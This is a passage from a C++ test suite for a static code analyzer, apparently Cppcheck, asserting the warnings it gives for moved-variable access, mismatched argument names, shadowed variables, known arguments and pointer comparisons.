[accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void 